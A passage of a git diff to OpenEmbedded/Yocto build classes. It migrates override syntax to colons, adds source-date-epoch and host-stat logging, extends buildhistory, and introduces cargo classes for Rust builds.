+ sde_file = os.path.join(d.getVar('SDE_DEPLOYDIR'), '__source_date_epoch.txt')
+ if os.path.exists(sde_file):
+ target = d.getVar('SDE_FILE')
+ bb.debug(1, "Moving setscene SDE file %s -> %s" % (sde_file, target))
+ bb.utils.rename(sde_file, target)
+ else:
+ bb.debug(1, "%s not found!" % sde_file)
}
+do_deploy_source_date_epoch[dirs] = "${SDE_DEPLOYDIR}"
+do_deploy_source_date_epoch[sstate-plaindirs] = "${SDE_DEPLOYDIR}"
+addtask do_deploy_source_date_epoch_setscene
+addtask do_deploy_source_date_epoch before do_configure after do_patch
+
+python create_source_date_epoch_stamp() {
+ source_date_epoch = oe.reproducible.get_source_date_epoch(d, d.getVar('S'))
+ oe.reproducible.epochfile_write(source_date_epoch, d.getVar('SDE_FILE'), d)
+}
+do_unpack[postfuncs] += "create_source_date_epoch_stamp"
+
+def get_source_date_epoch_value(d):
+ return oe.reproducible.epochfile_read(d.getVar('SDE_FILE'), d)
+
def get_layers_branch_rev(d):
layers = (d.getVar("BBLAYERS") or "").split()
layers_branch_rev = ["%-20s = \"%s:%s\"" % (os.path.basename(i), \
@@ -481,8 +519,8 @@ python () {
% (d.getVar('PN'), flag, 's' if len(intersec) > 1 else '', ' '.join(intersec)))
appendVar('DEPENDS', extradeps)
- appendVar('RDEPENDS_${PN}', extrardeps)
- appendVar('RRECOMMENDS_${PN}', extrarrecs)
+ appendVar('RDEPENDS:${PN}', extrardeps)
+ appendVar('RRECOMMENDS:${PN}', extrarrecs)
appendVar('PACKAGECONFIG_CONFARGS', extraconf)
pn = d.getVar('PN')
@@ -506,15 +544,10 @@ python () {
# in order to capture permissions, owners, groups and special files
if not bb.data.inherits_class('native', d) and not bb.data.inherits_class('cross', d):
d.appendVarFlag('do_prepare_recipe_sysroot', 'depends', ' virtual/fakeroot-native:do_populate_sysroot')
- d.setVarFlag('do_unpack', 'umask', '022')
- d.setVarFlag('do_configure', 'umask', '022')
- d.setVarFlag('do_compile', 'umask', '022')
d.appendVarFlag('do_install', 'depends', ' virtual/fakeroot-native:do_populate_sysroot')
d.setVarFlag('do_install', 'fakeroot', '1')
- d.setVarFlag('do_install', 'umask', '022')
d.appendVarFlag('do_package', 'depends', ' virtual/fakeroot-native:do_populate_sysroot')
d.setVarFlag('do_package', 'fakeroot', '1')
- d.setVarFlag('do_package', 'umask', '022')
d.setVarFlag('do_package_setscene', 'fakeroot', '1')
d.appendVarFlag('do_package_setscene', 'depends', ' virtual/fakeroot-native:do_populate_sysroot')
d.setVarFlag('do_devshell', 'fakeroot', '1')
@@ -596,44 +629,54 @@ python () {
needsrcrev = False
srcuri = d.getVar('SRC_URI')
- for uri in srcuri.split():
- (scheme, _ , path) = bb.fetch.decodeurl(uri)[:3]
+ for uri_string in srcuri.split():
+ uri = bb.fetch.URI(uri_string)
+ # Also check downloadfilename as the URL path might not be useful for sniffing
+ path = uri.params.get("downloadfilename", uri.path)
# HTTP/FTP use the wget fetcher
- if scheme in ("http", "https", "ftp"):
+ if uri.scheme in ("http", "https", "ftp"):
d.appendVarFlag('do_fetch', 'depends', ' wget-native:do_populate_sysroot')
# Svn packages should DEPEND on subversion-native
- if scheme == "svn":
+ if uri.scheme == "svn":
needsrcrev = True
d.appendVarFlag('do_fetch', 'depends', ' subversion-native:do_populate_sysroot')
# Git packages should DEPEND on git-native
- elif scheme in ("git", "gitsm"):
+ elif uri.scheme in ("git", "gitsm"):
needsrcrev = True
d.appendVarFlag('do_fetch', 'depends', ' git-native:do_populate_sysroot')
# Mercurial packages should DEPEND on mercurial-native
- elif scheme == "hg":
+ elif uri.scheme == "hg":
needsrcrev = True
d.appendVar("EXTRANATIVEPATH", ' python3-native ')
d.appendVarFlag('do_fetch', 'depends', ' mercurial-native:do_populate_sysroot')
# Perforce packages support SRCREV = "${AUTOREV}"
- elif scheme == "p4":
+ elif uri.scheme == "p4":
needsrcrev = True
# OSC packages should DEPEND on osc-native
- elif scheme == "osc":
+ elif uri.scheme == "osc":
d.appendVarFlag('do_fetch', 'depends', ' osc-native:do_populate_sysroot')
- elif scheme == "npm":
+ elif uri.scheme == "npm":
d.appendVarFlag('do_fetch', 'depends', ' nodejs-native:do_populate_sysroot')
+ elif uri.scheme == "repo":
+ needsrcrev = True
+ d.appendVarFlag('do_fetch', 'depends', ' repo-native:do_populate_sysroot')
+
# *.lz4 should DEPEND on lz4-native for unpacking
if path.endswith('.lz4'):
d.appendVarFlag('do_unpack', 'depends', ' lz4-native:do_populate_sysroot')
+ # *.zst should DEPEND on zstd-native for unpacking
+ elif path.endswith('.zst'):
+ d.appendVarFlag('do_unpack', 'depends', ' zstd-native:do_populate_sysroot')
+
# *.lz should DEPEND on lzip-native for unpacking
elif path.endswith('.lz'):
d.appendVarFlag('do_unpack', 'depends', ' lzip-native:do_populate_sysroot')
@@ -692,7 +735,7 @@ python () {
if os.path.basename(p) == machine and os.path.isdir(p):
paths.append(p)
- if len(paths) != 0:
+ if paths:
for s in srcuri.split():
if not s.startswith("file://"):
continue
@@ -725,7 +768,7 @@ do_cleansstate[nostamp] = "1"
python do_cleanall() {
src_uri = (d.getVar('SRC_URI') or "").split()
- if len(src_uri) == 0:
+ if not src_uri:
return
try:
diff --git a/meta/classes/bash-completion.bbclass b/meta/classes/bash-completion.bbclass
index 80ee9b4874..803b2cae4d 100644
--- a/meta/classes/bash-completion.bbclass
+++ b/meta/classes/bash-completion.bbclass
@@ -1,7 +1,7 @@
-DEPENDS_append_class-target = " bash-completion"
+DEPENDS:append:class-target = " bash-completion"
PACKAGES += "${PN}-bash-completion"
-FILES_${PN}-bash-completion = "${datadir}/bash-completion ${sysconfdir}/bash_completion.d"
+FILES:${PN}-bash-completion = "${datadir}/bash-completion ${sysconfdir}/bash_completion.d"
-RDEPENDS_${PN}-bash-completion = "bash-completion"
+RDEPENDS:${PN}-bash-completion = "bash-completion"
diff --git a/meta/classes/bin_package.bbclass b/meta/classes/bin_package.bbclass
index cbc9b1fa13..c3aca20443 100644
--- a/meta/classes/bin_package.bbclass
+++ b/meta/classes/bin_package.bbclass
@@ -34,6 +34,6 @@ bin_package_do_install () {
| tar --no-same-owner -xpf - -C ${D}
}
-FILES_${PN} = "/"
+FILES:${PN} = "/"
EXPORT_FUNCTIONS do_install
diff --git a/meta/classes/binconfig-disabled.bbclass b/meta/classes/binconfig-disabled.bbclass
index 096b670e12..e8ac41b2d4 100644
--- a/meta/classes/binconfig-disabled.bbclass
+++ b/meta/classes/binconfig-disabled.bbclass
@@ -5,9 +5,9 @@
# The list of scripts which should be disabled.
BINCONFIG ?= ""
-FILES_${PN}-dev += "${bindir}/*-config"
+FILES:${PN}-dev += "${bindir}/*-config"
-do_install_append () {
+do_install:append () {
for x in ${BINCONFIG}; do
# Make the disabled script emit invalid parameters for those configure
# scripts which call it without checking the return code.
diff --git a/meta/classes/binconfig.bbclass b/meta/classes/binconfig.bbclass
index 9112ed4608..6e0c88269a 100644
--- a/meta/classes/binconfig.bbclass
+++ b/meta/classes/binconfig.bbclass
@@ -1,4 +1,4 @@
-FILES_${PN}-dev += "${bindir}/*-config"
+FILES:${PN}-dev += "${bindir}/*-config"
# The namespaces can clash here hence the two step replace
def get_binconfig_mangle(d):
diff --git a/meta/classes/buildhistory.bbclass b/meta/classes/buildhistory.bbclass
index 7d5e3eb8fd..daa96f3b63 100644
--- a/meta/classes/buildhistory.bbclass
+++ b/meta/classes/buildhistory.bbclass
@@ -43,15 +43,16 @@ BUILDHISTORY_COMMIT ?= "1"
BUILDHISTORY_COMMIT_AUTHOR ?= "buildhistory <buildhistory@${DISTRO}>"
BUILDHISTORY_PUSH_REPO ?= ""
BUILDHISTORY_TAG ?= "build"
+BUILDHISTORY_PATH_PREFIX_STRIP ?= ""
-SSTATEPOSTINSTFUNCS_append = " buildhistory_emit_pkghistory"
+SSTATEPOSTINSTFUNCS:append = " buildhistory_emit_pkghistory"
# We want to avoid influencing the signatures of sstate tasks - first the function itself:
sstate_install[vardepsexclude] += "buildhistory_emit_pkghistory"
# then the value added to SSTATEPOSTINSTFUNCS:
SSTATEPOSTINSTFUNCS[vardepvalueexclude] .= "| buildhistory_emit_pkghistory"
# Similarly for our function that gets the output signatures
-SSTATEPOSTUNPACKFUNCS_append = " buildhistory_emit_outputsigs"
+SSTATEPOSTUNPACKFUNCS:append = " buildhistory_emit_outputsigs"
sstate_installpkgdir[vardepsexclude] += "buildhistory_emit_outputsigs"
SSTATEPOSTUNPACKFUNCS[vardepvalueexclude] .= "| buildhistory_emit_outputsigs"
@@ -90,13 +91,19 @@ buildhistory_emit_sysroot() {
python buildhistory_emit_pkghistory() {
if d.getVar('BB_CURRENTTASK') in ['populate_sysroot', 'populate_sysroot_setscene']:
bb.build.exec_func("buildhistory_emit_sysroot", d)
-
- if not d.getVar('BB_CURRENTTASK') in ['packagedata', 'packagedata_setscene']:
return 0
if not "package" in (d.getVar('BUILDHISTORY_FEATURES') or "").split():
return 0
+ if d.getVar('BB_CURRENTTASK') in ['package', 'package_setscene']:
+ # Create files-in-<package-name>.txt files containing a list of files of each recipe's package
+ bb.build.exec_func("buildhistory_list_pkg_files", d)
+ return 0
+
+ if not d.getVar('BB_CURRENTTASK') in ['packagedata', 'packagedata_setscene']:
+ return 0
+
import re
import json
import shlex
@@ -115,6 +122,7 @@ python buildhistory_emit_pkghistory() {
self.packages = ""
self.srcrev = ""
self.layer = ""
+ self.license = ""
self.config = ""
self.src_uri = ""
@@ -218,6 +226,7 @@ python buildhistory_emit_pkghistory() {
pv = d.getVar('PV')
pr = d.getVar('PR')
layer = bb.utils.get_file_layer(d.getVar('FILE'), d)
+ license = d.getVar('LICENSE')
pkgdata_dir = d.getVar('PKGDATA_DIR')
packages = ""
@@ -258,6 +267,7 @@ python buildhistory_emit_pkghistory() {
rcpinfo.depends = sortlist(oe.utils.squashspaces(d.getVar('DEPENDS') or ""))
rcpinfo.packages = packages
rcpinfo.layer = layer
+ rcpinfo.license = license
rcpinfo.config = sortlist(oe.utils.squashspaces(d.getVar('PACKAGECONFIG') or ""))
rcpinfo.src_uri = oe.utils.squashspaces(d.getVar('SRC_URI') or "")
write_recipehistory(rcpinfo, d)
@@ -283,7 +293,7 @@ python buildhistory_emit_pkghistory() {
r = bb.utils.vercmp((pkge, pkgv, pkgr), (last_pkge, last_pkgv, last_pkgr))
if r < 0:
msg = "Package version for package %s went backwards which would break package feeds (from %s:%s-%s to %s:%s-%s)" % (pkg, last_pkge, last_pkgv, last_pkgr, pkge, pkgv, pkgr)
- package_qa_handle_error("version-going-backwards", msg, d)
+ oe.qa.handle_error("version-going-backwards", msg, d)
pkginfo = PackageInfo(pkg)
# Apparently the version can be different on a per-package basis (see Python)
@@ -315,8 +325,7 @@ python buildhistory_emit_pkghistory() {
write_pkghistory(pkginfo, d)
- # Create files-in-<package-name>.txt files containing a list of files of each recipe's package
- bb.build.exec_func("buildhistory_list_pkg_files", d)
+ oe.qa.exit_if_errors(d)
}
python buildhistory_emit_outputsigs() {
@@ -369,6 +378,7 @@ def write_recipehistory(rcpinfo, d):
f.write(u"DEPENDS = %s\n" % rcpinfo.depends)
f.write(u"PACKAGES = %s\n" % rcpinfo.packages)
f.write(u"LAYER = %s\n" % rcpinfo.layer)
+ f.write(u"LICENSE = %s\n" % rcpinfo.license)
f.write(u"CONFIG = %s\n" % rcpinfo.config)
f.write(u"SRC_URI = %s\n" % rcpinfo.src_uri)
@@ -437,11 +447,16 @@ def buildhistory_list_installed(d, rootfs_type="image"):
else:
pkgs = sdk_list_installed_packages(d, rootfs_type == "sdk_target")
+ if rootfs_type == "sdk_host":
+ pkgdata_dir = d.getVar('PKGDATA_DIR_SDK')
+ else:
+ pkgdata_dir = d.getVar('PKGDATA_DIR')
+
for output_type, output_file in process_list:
output_file_full = os.path.join(d.getVar('WORKDIR'), output_file)
with open(output_file_full, 'w') as output:
- output.write(format_pkg_list(pkgs, output_type))
+ output.write(format_pkg_list(pkgs, output_type, pkgdata_dir))
python buildhistory_list_installed_image() {
buildhistory_list_installed(d)
@@ -482,6 +497,8 @@ buildhistory_get_installed() {
-e 's:|: -> :' \
-e 's:"\[REC\]":[style=dotted]:' \
-e 's:"\([<>=]\+\)" "\([^"]*\)":[label="\1 \2"]:' \
+ -e 's:"\([*]\+\)" "\([^"]*\)":[label="\2"]:' \
+ -e 's:"\[RPROVIDES\]":[style=dashed]:' \
$1/depends.tmp
# Add header, sorted and de-duped contents and footer and then delete the temp file
printf "digraph depends {\n node [shape=plaintext]\n" > $1/depends.dot
@@ -489,11 +506,22 @@ buildhistory_get_installed() {
echo "}" >> $1/depends.dot
rm $1/depends.tmp
+ # Set correct pkgdatadir
+ pkgdatadir=${PKGDATA_DIR}
+ if [ "$2" == "sdk" ] && [ "$3" == "host" ]; then
+ pkgdatadir="${PKGDATA_DIR_SDK}"
+ fi
+
# Produce installed package sizes list
- oe-pkgdata-util -p ${PKGDATA_DIR} read-value "PKGSIZE" -n -f $pkgcache > $1/installed-package-sizes.tmp
+ oe-pkgdata-util -p $pkgdatadir read-value "PKGSIZE" -n -f $pkgcache > $1/installed-package-sizes.tmp
cat $1/installed-package-sizes.tmp | awk '{print $2 "\tKiB\t" $1}' | sort -n -r > $1/installed-package-sizes.txt
rm $1/installed-package-sizes.tmp
+ # Produce package info: runtime_name, buildtime_name, recipe, version, size
+ oe-pkgdata-util -p $pkgdatadir read-value "PACKAGE,PN,PV,PKGSIZE" -n -f $pkgcache > $1/installed-package-info.tmp
+ cat $1/installed-package-info.tmp | sort -n -r -k 5 > $1/installed-package-info.txt
+ rm $1/installed-package-info.tmp
+
# We're now done with the cache, delete it
rm $pkgcache
@@ -530,7 +558,7 @@ buildhistory_get_sdk_installed() {
return
fi
- buildhistory_get_installed ${BUILDHISTORY_DIR_SDK}/$1 sdk
+ buildhistory_get_installed ${BUILDHISTORY_DIR_SDK}/$1 sdk $1
}
buildhistory_get_sdk_installed_host() {
@@ -671,16 +699,19 @@ IMAGE_POSTPROCESS_COMMAND[vardepvalueexclude] .= "| buildhistory_get_imageinfo ;
IMAGE_POSTPROCESS_COMMAND[vardepsexclude] += "buildhistory_get_imageinfo"
# We want these to be the last run so that we get called after complementary package installation
-POPULATE_SDK_POST_TARGET_COMMAND_append = " buildhistory_list_installed_sdk_target;"
-POPULATE_SDK_POST_TARGET_COMMAND_append = " buildhistory_get_sdk_installed_target;"
+POPULATE_SDK_POST_TARGET_COMMAND:append = " buildhistory_list_installed_sdk_target;"
+POPULATE_SDK_POST_TARGET_COMMAND:append = " buildhistory_get_sdk_installed_target;"
POPULATE_SDK_POST_TARGET_COMMAND[vardepvalueexclude] .= "| buildhistory_list_installed_sdk_target;| buildhistory_get_sdk_installed_target;"
+POPULATE_SDK_POST_TARGET_COMMAND[vardepsexclude] += "buildhistory_list_installed_sdk_target buildhistory_get_sdk_installed_target"
-POPULATE_SDK_POST_HOST_COMMAND_append = " buildhistory_list_installed_sdk_host;"
-POPULATE_SDK_POST_HOST_COMMAND_append = " buildhistory_get_sdk_installed_host;"
+POPULATE_SDK_POST_HOST_COMMAND:append = " buildhistory_list_installed_sdk_host;"
+POPULATE_SDK_POST_HOST_COMMAND:append = " buildhistory_get_sdk_installed_host;"
POPULATE_SDK_POST_HOST_COMMAND[vardepvalueexclude] .= "| buildhistory_list_installed_sdk_host;| buildhistory_get_sdk_installed_host;"
+POPULATE_SDK_POST_HOST_COMMAND[vardepsexclude] += "buildhistory_list_installed_sdk_host buildhistory_get_sdk_installed_host"
-SDK_POSTPROCESS_COMMAND_append = " buildhistory_get_sdkinfo ; buildhistory_get_extra_sdkinfo; "
+SDK_POSTPROCESS_COMMAND:append = " buildhistory_get_sdkinfo ; buildhistory_get_extra_sdkinfo; "
SDK_POSTPROCESS_COMMAND[vardepvalueexclude] .= "| buildhistory_get_sdkinfo ; buildhistory_get_extra_sdkinfo; "
+SDK_POSTPROCESS_COMMAND[vardepsexclude] += "buildhistory_get_sdkinfo buildhistory_get_extra_sdkinfo"
python buildhistory_write_sigs() {
if not "task" in (d.getVar('BUILDHISTORY_FEATURES') or "").split():
@@ -690,7 +721,7 @@ python buildhistory_write_sigs() {
if hasattr(bb.parse.siggen, 'dump_siglist'):
taskoutdir = os.path.join(d.getVar('BUILDHISTORY_DIR'), 'task')
bb.utils.mkdirhier(taskoutdir)
- bb.parse.siggen.dump_siglist(os.path.join(taskoutdir, 'tasksigs.txt'))
+ bb.parse.siggen.dump_siglist(os.path.join(taskoutdir, 'tasksigs.txt'), d.getVar("BUILDHISTORY_PATH_PREFIX_STRIP"))
}
def buildhistory_get_build_id(d):
@@ -758,7 +789,7 @@ def buildhistory_get_imagevars(d):
def buildhistory_get_sdkvars(d):
if d.getVar('BB_WORKERCONTEXT') != '1':
return ""
- sdkvars = "DISTRO DISTRO_VERSION SDK_NAME SDK_VERSION SDKMACHINE SDKIMAGE_FEATURES BAD_RECOMMENDATIONS NO_RECOMMENDATIONS PACKAGE_EXCLUDE"
+ sdkvars = "DISTRO DISTRO_VERSION SDK_NAME SDK_VERSION SDKMACHINE SDKIMAGE_FEATURES TOOLCHAIN_HOST_TASK TOOLCHAIN_TARGET_TASK BAD_RECOMMENDATIONS NO_RECOMMENDATIONS PACKAGE_EXCLUDE"
if d.getVar('BB_CURRENTTASK') == 'populate_sdk_ext':
# Extensible SDK uses some additional variables
sdkvars += " SDK_LOCAL_CONF_WHITELIST SDK_LOCAL_CONF_BLACKLIST SDK_INHERIT_BLACKLIST SDK_UPDATE_URL SDK_EXT_TYPE SDK_RECRDEP_TASKS SDK_INCLUDE_PKGDATA SDK_INCLUDE_TOOLCHAIN"
@@ -855,7 +886,7 @@ END
}
python buildhistory_eventhandler() {
- if e.data.getVar('BUILDHISTORY_FEATURES').strip():
+ if (e.data.getVar('BUILDHISTORY_FEATURES') or "").strip():
reset = e.data.getVar("BUILDHISTORY_RESET")
olddir = e.data.getVar("BUILDHISTORY_OLD_DIR")
if isinstance(e, bb.event.BuildStarted):
@@ -868,7 +899,7 @@ python buildhistory_eventhandler() {
entries = [ x for x in os.listdir(rootdir) if not x.startswith('.') ]
bb.utils.mkdirhier(olddir)
for entry in entries:
- os.rename(os.path.join(rootdir, entry),
+ bb.utils.rename(os.path.join(rootdir, entry),
os.path.join(olddir, entry))
elif isinstance(e, bb.event.BuildCompleted):
if reset:
@@ -907,22 +938,12 @@ def _get_srcrev_values(d):
if urldata[u].method.supports_srcrev():
scms.append(u)
- autoinc_templ = 'AUTOINC+'
dict_srcrevs = {}
dict_tag_srcrevs = {}
for scm in scms:
ud = urldata[scm]
for name in ud.names:
- try:
- rev = ud.method.sortable_revision(ud, d, name)
- except TypeError:
- # support old bitbake versions
- rev = ud.method.sortable_revision(scm, ud, d, name)
- # Clean this up when we next bump bitbake version
- if type(rev) != str:
- autoinc, rev = rev
- elif rev.startswith(autoinc_templ):
- rev = rev[len(autoinc_templ):]
+ autoinc, rev = ud.method.sortable_revision(ud, d, name)
dict_srcrevs[name] = rev
if 'tag' in ud.parm:
tag = ud.parm['tag'];
@@ -953,23 +974,19 @@ def write_latest_srcrev(d, pkghistdir):
value = value.replace('"', '').strip()
old_tag_srcrevs[key] = value
with open(srcrevfile, 'w') as f:
- orig_srcrev = d.getVar('SRCREV', False) or 'INVALID'
- if orig_srcrev != 'INVALID':
- f.write('# SRCREV = "%s"\n' % orig_srcrev)
- if len(srcrevs) > 1:
- for name, srcrev in sorted(srcrevs.items()):
- orig_srcrev = d.getVar('SRCREV_%s' % name, False)
- if orig_srcrev:
- f.write('# SRCREV_%s = "%s"\n' % (name, orig_srcrev))
- f.write('SRCREV_%s = "%s"\n' % (name, srcrev))
- else:
- f.write('SRCREV = "%s"\n' % next(iter(srcrevs.values())))
- if len(tag_srcrevs) > 0:
- for name, srcrev in sorted(tag_srcrevs.items()):
- f.write('# tag_%s = "%s"\n' % (name, srcrev))
- if name in old_tag_srcrevs and old_tag_srcrevs[name] != srcrev:
- pkg = d.getVar('PN')
- bb.warn("Revision for tag %s in package %s was changed since last build (from %s to %s)" % (name, pkg, old_tag_srcrevs[name], srcrev))
+ for name, srcrev in sorted(srcrevs.items()):
+ suffix = "_" + name
+ if name == "default":
+ suffix = ""
+ orig_srcrev = d.getVar('SRCREV%s' % suffix, False)
+ if orig_srcrev:
+ f.write('# SRCREV%s = "%s"\n' % (suffix, orig_srcrev))
+ f.write('SRCREV%s = "%s"\n' % (suffix, srcrev))
+ for name, srcrev in sorted(tag_srcrevs.items()):
+ f.write('# tag_%s = "%s"\n' % (name, srcrev))
+ if name in old_tag_srcrevs and old_tag_srcrevs[name] != srcrev:
+ pkg = d.getVar('PN')
+ bb.warn("Revision for tag %s in package %s was changed since last build (from %s to %s)" % (name, pkg, old_tag_srcrevs[name], srcrev))
else:
if os.path.exists(srcrevfile):
diff --git a/meta/classes/buildstats.bbclass b/meta/classes/buildstats.bbclass
index 6f87187233..0de605200a 100644
--- a/meta/classes/buildstats.bbclass
+++ b/meta/classes/buildstats.bbclass
@@ -104,14 +104,90 @@ def write_task_data(status, logfile, e, d):
f.write("Status: FAILED \n")
f.write("Ended: %0.2f \n" % e.time)
+def write_host_data(logfile, e, d, type):
+ import subprocess, os, datetime
+ # minimum time allowed for each command to run, in seconds
+ time_threshold = 0.5
+ limit = 10
+ # the total number of commands
+ num_cmds = 0
+ msg = ""
+ if type == "interval":
+ # interval at which data will be logged
+ interval = d.getVar("BB_HEARTBEAT_EVENT", False)
+ if interval is None:
+ bb.warn("buildstats: Collecting host data at intervals failed. Set BB_HEARTBEAT_EVENT=\"<interval>\" in conf/local.conf for the interval at which host data will be logged.")
+ d.setVar("BB_LOG_HOST_STAT_ON_INTERVAL", "0")
+ return
+ interval = int(interval)
+ cmds = d.getVar('BB_LOG_HOST_STAT_CMDS_INTERVAL')
+ msg = "Host Stats: Collecting data at %d second intervals.\n" % interval
+ if cmds is None:
+ d.setVar("BB_LOG_HOST_STAT_ON_INTERVAL", "0")
+ bb.warn("buildstats: Collecting host data at intervals failed. Set BB_LOG_HOST_STAT_CMDS_INTERVAL=\"command1 ; command2 ; ... \" in conf/local.conf.")
+ return
+ if type == "failure":
+ cmds = d.getVar('BB_LOG_HOST_STAT_CMDS_FAILURE')
+ msg = "Host Stats: Collecting data on failure.\n"
+ msg += "Failed at task: " + e.task + "\n"
+ if cmds is None:
+ d.setVar("BB_LOG_HOST_STAT_ON_FAILURE", "0")
+ bb.warn("buildstats: Collecting host data on failure failed. Set BB_LOG_HOST_STAT_CMDS_FAILURE=\"command1 ; command2 ; ... \" in conf/local.conf.")
+ return
+ c_san = []
+ for cmd in cmds.split(";"):
+ if len(cmd) == 0:
+ continue
+ num_cmds += 1
+ c_san.append(cmd)
+ if num_cmds == 0:
+ if type == "interval":
+ d.setVar("BB_LOG_HOST_STAT_ON_INTERVAL", "0")
+ if type == "failure":
+ d.setVar("BB_LOG_HOST_STAT_ON_FAILURE", "0")
+ return
+
+ # return if the interval is not enough to run all commands within the specified BB_HEARTBEAT_EVENT interval
+ if type == "interval":
+ limit = interval / num_cmds
+ if limit <= time_threshold:
+ d.setVar("BB_LOG_HOST_STAT_ON_INTERVAL", "0")
+ bb.warn("buildstats: Collecting host data failed. BB_HEARTBEAT_EVENT interval not enough to run the specified commands. Increase value of BB_HEARTBEAT_EVENT in conf/local.conf.")
+ return
+
+ # set the environment variables
+ path = d.getVar("PATH")
+ opath = d.getVar("BB_ORIGENV", False).getVar("PATH")
+ ospath = os.environ['PATH']
+ os.environ['PATH'] = path + ":" + opath + ":" + ospath
+ with open(logfile, "a") as f:
+ f.write("Event Time: %f\nDate: %s\n" % (e.time, datetime.datetime.now()))
+ f.write("%s" % msg)
+ for c in c_san:
+ try:
+ output = subprocess.check_output(c.split(), stderr=subprocess.STDOUT, timeout=limit).decode('utf-8')
+ except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError) as err:
+ output = "Error running command: %s\n%s\n" % (c, err)
+ f.write("%s\n%s\n" % (c, output))
+ # reset the environment
+ os.environ['PATH'] = ospath
+
python run_buildstats () {
import bb.build
import bb.event
import time, subprocess, platform
bn = d.getVar('BUILDNAME')
- bsdir = os.path.join(d.getVar('BUILDSTATS_BASE'), bn)
- taskdir = os.path.join(bsdir, d.getVar('PF'))
+ ########################################################################
+ # bitbake fires HeartbeatEvent even before a build has been
+ # triggered, causing BUILDNAME to be None
+ ########################################################################
+ if bn is not None:
+ bsdir = os.path.join(d.getVar('BUILDSTATS_BASE'), bn)
+ taskdir = os.path.join(bsdir, d.getVar('PF'))
+ if isinstance(e, bb.event.HeartbeatEvent) and bb.utils.to_boolean(d.getVar("BB_LOG_HOST_STAT_ON_INTERVAL")):
+ bb.utils.mkdirhier(bsdir)
+ write_host_data(os.path.join(bsdir, "host_stats_interval"), e, d, "interval")
if isinstance(e, bb.event.BuildStarted):
########################################################################
@@ -186,10 +262,12 @@ python run_buildstats () {
build_status = os.path.join(bsdir, "build_stats")
with open(build_status, "a") as f:
f.write(d.expand("Failed at: ${PF} at task: %s \n" % e.task))
+ if bb.utils.to_boolean(d.getVar("BB_LOG_HOST_STAT_ON_FAILURE")):
+ write_host_data(os.path.join(bsdir, "host_stats_%s_failure" % e.task), e, d, "failure")
}
addhandler run_buildstats
-run_buildstats[eventmask] = "bb.event.BuildStarted bb.event.BuildCompleted bb.build.TaskStarted bb.build.TaskSucceeded bb.build.TaskFailed"
+run_buildstats[eventmask] = "bb.event.BuildStarted bb.event.BuildCompleted bb.event.HeartbeatEvent bb.build.TaskStarted bb.build.TaskSucceeded bb.build.TaskFailed"
python runqueue_stats () {
import buildstats
diff --git a/meta/classes/cargo.bbclass b/meta/classes/cargo.bbclass
new file mode 100644
index 0000000000..0ca38143c0
--- /dev/null
+++ b/meta/classes/cargo.bbclass
@@ -0,0 +1,89 @@
+##
+## Purpose:
+## This class is used by any recipes that are built using
+## Cargo.
+
+inherit cargo_common
+
+# the binary we will use
+CARGO = "cargo"
+
+# We need cargo to compile for the target
+BASEDEPENDS:append = " cargo-native"
+
+# Ensure we get the right rust variant
+DEPENDS:append:class-target = " virtual/${TARGET_PREFIX}rust ${RUSTLIB_DEP}"
+DEPENDS:append:class-native = " rust-native"
+
+# Enable build separation
+B = "${WORKDIR}/build"
+
+# In case something fails in the build process, give a bit more feedback on
+# where the issue occured
+export RUST_BACKTRACE = "1"
+
+# The directory of the Cargo.toml relative to the root directory, per default
+# assume there's a Cargo.toml directly in the root directory
+CARGO_SRC_DIR ??= ""
+
+# The actual path to the Cargo.toml
+MANIFEST_PATH ??= "${S}/${CARGO_SRC_DIR}/Cargo.toml"
+
+RUSTFLAGS ??= ""
+BUILD_MODE = "${@['--release', ''][d.getVar('DEBUG_BUILD') == '1']}"
+CARGO_BUILD_FLAGS = "-v --target ${HOST_SYS} ${BUILD_MODE} --manifest-path=${MANIFEST_PATH}"
+
+# This is based on the content of CARGO_BUILD_FLAGS and generally will need to
+# change if CARGO_BUILD_FLAGS changes.
+BUILD_DIR = "${@['release', 'debug'][d.getVar('DEBUG_BUILD') == '1']}"
+CARGO_TARGET_SUBDIR="${HOST_SYS}/${BUILD_DIR}"
+oe_cargo_build () {
+ export RUSTFLAGS="${RUSTFLAGS}"
+ export RUST_TARGET_PATH="${RUST_TARGET_PATH}"
+ bbnote "cargo = $(which ${CARGO})"
+ bbnote "rustc = $(which ${RUSTC})"
+ bbnote "${CARGO} build ${CARGO_BUILD_FLAGS} $@"
+ "${CARGO}" build ${CARGO_BUILD_FLAGS} "$@"
+}
+
+do_compile[progress] = "outof:\s+(\d+)/(\d+)"
+cargo_do_compile () {
+ oe_cargo_fix_env
+ oe_cargo_build
+}
+
+cargo_do_install () {
+ local have_installed=false
+ for tgt in "${B}/target/${CARGO_TARGET_SUBDIR}/"*; do
+ case $tgt in
+ *.so|*.rlib)
+ install -d "${D}${rustlibdir}"
+ install -m755 "$tgt" "${D}${rustlibdir}"
+ have_installed=true
+ ;;
+ *examples)
+ if [ -d "$tgt" ]; then
+ for example in "$tgt/"*; do
+ if [ -f "$example" ] && [ -x "$example" ]; then
+ install -d "${D}${bindir}"
+ install -m755 "$example" "${D}${bindir}"
+ have_installed=true
+ fi
+ done
+ fi
+ ;;
+ *)
+ if [ -f "$tgt" ] && [ -x "$tgt" ]; then
+ install -d "${D}${bindir}"
+ install -m755 "$tgt" "${D}${bindir}"
+ have_installed=true
+ fi
+ ;;
+ esac
+ done
+ if ! $have_installed; then
+ die "Did not find anything to install"
+ fi
+}
+
+EXPORT_FUNCTIONS do_compile do_install
diff --git a/meta/classes/cargo_common.bbclass b/meta/classes/cargo_common.bbclass
new file mode 100644
index 0000000000..23d82aa6ab
--- /dev/null
+++ b/meta/classes/cargo_common.bbclass
@@ -0,0 +1,125 @@
+##
+## Purpose:
+## This class is to support building with cargo. It
+## must be different than cargo.bbclass because Rust
+## now builds with Cargo but cannot use cargo.bbclass
+## due to dependencies and assumptions in cargo.bbclass
+## that Rust & Cargo are already installed. So this
+## is used by cargo.bbclass and Rust
+##
+
+# add crate fetch support
+inherit crate-fetch
+inherit rust-common
+
+# Where we download our registry and dependencies to
+export CARGO_HOME = "${WORKDIR}/cargo_home"
+
+# The pkg-config-rs library used by cargo build scripts disables itself when
+# cross compiling unless this is defined. We set up pkg-config appropriately
+# for cross compilation, so tell it we know better than it.
+export PKG_CONFIG_ALLOW_CROSS = "1"
+
+# Don't instruct cargo to use crates downloaded by bitbake. Some rust packages,
+# for example the rust compiler itself, come with their own vendored sources.
+# Specifying two [source.crates-io] will not work.
+CARGO_DISABLE_BITBAKE_VENDORING ?= "0"
+
+# Used by libstd-rs to point to the vendor dir included in rustc src
